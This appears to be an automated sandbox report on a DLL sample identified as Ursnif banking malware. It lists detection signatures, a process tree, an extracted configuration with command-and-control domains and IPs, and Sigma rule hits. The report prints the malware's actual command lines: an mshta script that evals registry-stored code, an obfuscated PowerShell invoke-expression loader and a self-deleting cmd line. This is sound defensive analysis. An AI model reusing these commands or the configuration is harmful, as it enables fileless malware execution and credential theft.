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Windows Analysis Report
3r0Cgcbr8c

Overview

General Information

Sample Name:3r0Cgcbr8c (renamed file extension from none to dll)
Analysis ID:617154
MD5:9c2ba02350538f6a4392c85f44550949
SHA1:bf9d4375e2ad199794db8fb4887b148dc628b4f9
SHA256:4216810c4c1d5c0ef229668e1b7180a02610369674a2b9af93fbc9854eaccfa7
Tags:dll
Infos:

Detection

Ursnif
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Multi AV Scanner detection for submitted file
Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Sigma detected: Windows Shell File Write to Suspicious Folder
Maps a DLL or memory area into another process
Writes to foreign memory regions
Changes memory attributes in foreign processes to executable or writable
Sigma detected: Accessing WinAPI in PowerShell. Code Injection
Sigma detected: Suspicious Remote Thread Created
Machine Learning detection for sample
Allocates memory in foreign processes
Self deletion via cmd delete
Sigma detected: MSHTA Spawning Windows Shell
Injects code into the Windows Explorer (explorer.exe)
Sigma detected: Suspicious Call by Ordinal
Modifies the context of a thread in another process (thread injection)
Sigma detected: Mshta Spawning Windows Shell
Creates a thread in another existing process (thread injection)
Disables SPDY (HTTP compression, likely to perform web injects)
Writes registry values via WMI
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Internet Provider seen in connection with other malware
Found dropped PE file which has not been started or loaded
Contains long sleeps (>= 3 min)
Creates a DirectInput object (often for capturing keystrokes)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Searches for the Microsoft Outlook file path
PE file contains strange resources
Drops PE files
Uses a known web browser user agent for HTTP communication
Checks if the current process is being debugged
Sigma detected: Suspicious Csc.exe Source File Folder
Compiles C# or VB.Net code
Creates a process in suspended mode (likely to inject code)

Classification

  • System is w10x64
  • loaddll32.exe (PID: 6460 cmdline: loaddll32.exe "C:\Users\user\Desktop\3r0Cgcbr8c.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)
    • cmd.exe (PID: 6468 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\3r0Cgcbr8c.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • rundll32.exe (PID: 6488 cmdline: rundll32.exe "C:\Users\user\Desktop\3r0Cgcbr8c.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
        • control.exe (PID: 1928 cmdline: C:\Windows\system32\control.exe -h MD5: 625DAC87CB5D7D44C5CA1DA57898065F)
  • mshta.exe (PID: 6256 cmdline: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Soxq='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Soxq).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script> MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)
    • powershell.exe (PID: 6608 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name gjvyfiw -value gp; new-alias -name huwuvwioi -value iex; huwuvwioi ([System.Text.Encoding]::ASCII.GetString((gjvyfiw "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) MD5: 95000560239032BC68B4C2FDFCDEF913)
      • conhost.exe (PID: 2360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • csc.exe (PID: 4724 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0hvnxdzw.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 6140 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESE3E.tmp" "c:\Users\user\AppData\Local\Temp\CSC1476D44366854E63BD1CA8712B7CCE92.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
      • csc.exe (PID: 5776 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\iig1japh.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 6840 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES2B5B.tmp" "c:\Users\user\AppData\Local\Temp\CSC8E8486282EA843C08CB8749684F1E69.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
      • explorer.exe (PID: 3968 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)
        • cmd.exe (PID: 2336 cmdline: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\3r0Cgcbr8c.dll MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
          • conhost.exe (PID: 5508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
        • RuntimeBroker.exe (PID: 4168 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: C7E36B4A5D9E6AC600DD7A0E0D52DAC5)
  • cleanup
{"RSA Public Key": "qFDlImn6y2g7LUs2ldWLbbcpZqbPo2Ns9Np7r7i4Mwoe6wqx9QvLXkHYOfGu/YpOzT+6eh745fokdz9wyPHoNa0hndDzfECX/D+aXUCRPw6ED0CTYgN/1Zl2Te2oBe4/Ijr+Meag6OuapWMwsi2Im1yyZiGritm6eF1eCmhqnx0G6cCvnTgwv4DFP3ZsQR9OOMr66XDyATvQzAULb2ROtgO0uJifetSoyg/BBa57FBG8f3qZo6B3/c3mJUIeWb579f2z2QYoV2Bwj9Cm8iZUGOOegn/prFEUQn5QgaRZFSk6mbkcQ+Rsq/Xy3wcd+G9JFKU3/QgqOA/jtjsS+fFPp2Pl8LsM8NaoiRTJvWvlul8=", "c2_domain": ["config.edge.skype.com", "cabrioxmdes.at", "hopexmder.net", "94.140.114.144", "94.140.112.49", "94.140.112.121"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Jv1GYc8A8hCBIeVD", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "movie_capture": "30, 8, calc no*ad *terminal* *debug*", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "3000", "SetWaitableTimer_value": "1"}
SourceRuleDescriptionAuthorStrings
00000002.00000003.277089715.0000000004CD8000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
    00000002.00000003.277155521.0000000004CD8000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
      00000002.00000003.327048178.0000000004CD8000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
        00000002.00000003.326908581.0000000004BDA000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
          00000018.00000000.396215708.0000000000D60000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
            Click to see the 18 entries
            SourceRuleDescriptionAuthorStrings
            2.3.rundll32.exe.4c86b40.1.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
              2.3.rundll32.exe.4c86b40.1.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                2.3.rundll32.exe.4bda4a0.0.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                  2.3.rundll32.exe.4c594a0.2.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                    2.3.rundll32.exe.4bda4a0.0.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security

                      System Summary

                      barindex
                      Source: File createdAuthor: Florian Roth: Data: EventID: 11, Image: C:\Windows\System32\mshta.exe, ProcessId: 6256, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Caches
                      Source: Threat createdAuthor: Nikita Nazarov, oscd.community: Data: EventID: 8, SourceImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, SourceProcessId: 6608, StartAddress: 86661580, TargetImage: C:\Windows\explorer.exe, TargetProcessId: 3968
                      Source: Threat createdAuthor: Perez Diego (@darkquassar), oscd.community: Data: EventID: 8, SourceImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, SourceProcessId: 6608, StartAddress: 86661580, TargetImage: C:\Windows\explorer.exe, TargetProcessId: 3968
                      Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name gjvyfiw -value gp; new-alias -name huwuvwioi -value iex; huwuvwioi ([System.Text.Encoding]::ASCII.GetString((gjvyfiw "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name gjvyfiw -value gp; new-alias -name huwuvwioi -value iex; huwuvwioi ([System.Text.Encoding]::ASCII.GetString((gjvyfiw "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine|base64offset|contains: >jX, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Soxq='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Soxq).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>, ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 6256, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name gjvyfiw -value gp; new-alias -name huwuvwioi -value iex; huwuvwioi ([System.Text.Encoding]::ASCII.GetString((gjvyfiw "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ProcessId: 6608, ProcessName: powershell.exe
                      Source: Process startedAuthor: Florian Roth: Data: Command: rundll32.exe "C:\Users\user\Desktop\3r0Cgcbr8c.dll",#1, CommandLine: rundll32.exe "C:\Users\user\Desktop\3r0Cgcbr8c.dll",#1, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\3r0Cgcbr8c.dll",#1, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6468, ParentProcessName: cmd.exe, ProcessCommandLine: rundll32.exe "C:\Users\user\Desktop\3r0Cgcbr8c.dll",#1, ProcessId: 6488, ProcessName: rundll32.exe
                      Source: Process startedAuthor: Florian Roth: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name gjvyfiw -value gp; new-alias -name huwuvwioi -value iex; huwuvwioi ([System.Text.Encoding]::ASCII.GetString((gjvyfiw "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name gjvyfiw -value gp; new-alias -name huwuvwioi -value iex; huwuvwioi ([System.Text.Encoding]::ASCII.GetString((gjvyfiw "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine|base64offset|contains: >jX, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Soxq='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Soxq).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>, ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 6256, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name gjvyfiw -value gp; new-alias -name huwuvwioi -value iex; huwuvwioi ([System.Text.Encoding]::ASCII.GetString((gjvyfiw "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ProcessId: 6608, ProcessName: powershell.exe
                      Source: Process startedAuthor: Florian Roth: Data: Command: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0hvnxdzw.cmdline, CommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0hvnxdzw.cmdline, CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name gjvyfiw -value gp; new-alias -name huwuvwioi -value iex; huwuvwioi ([System.Text.Encoding]::ASCII.GetString((gjvyfiw "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6608, ParentProcessName: powershell.exe, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0hvnxdzw.cmdline, ProcessId: 4724, ProcessName: csc.exe
                      Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6608, TargetFilename: C:\Users\user\AppData\Local\Temp\0hvnxdzw.cmdline
                      Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name gjvyfiw -value gp; new-alias -name huwuvwioi -value iex; huwuvwioi ([System.Text.Encoding]::ASCII.GetString((gjvyfiw "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name gjvyfiw -value gp; new-alias -name huwuvwioi -value iex; huwuvwioi ([System.Text.Encoding]::ASCII.GetString((gjvyfiw "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine|base64offset|contains: >jX, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Soxq='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Soxq).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>, ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 6256, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name gjvyfiw -value gp; new-alias -name huwuvwioi -value iex; huwuvwioi ([System.Text.Encoding]::ASCII.GetString((gjvyfiw "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ProcessId: 6608, ProcessName: powershell.exe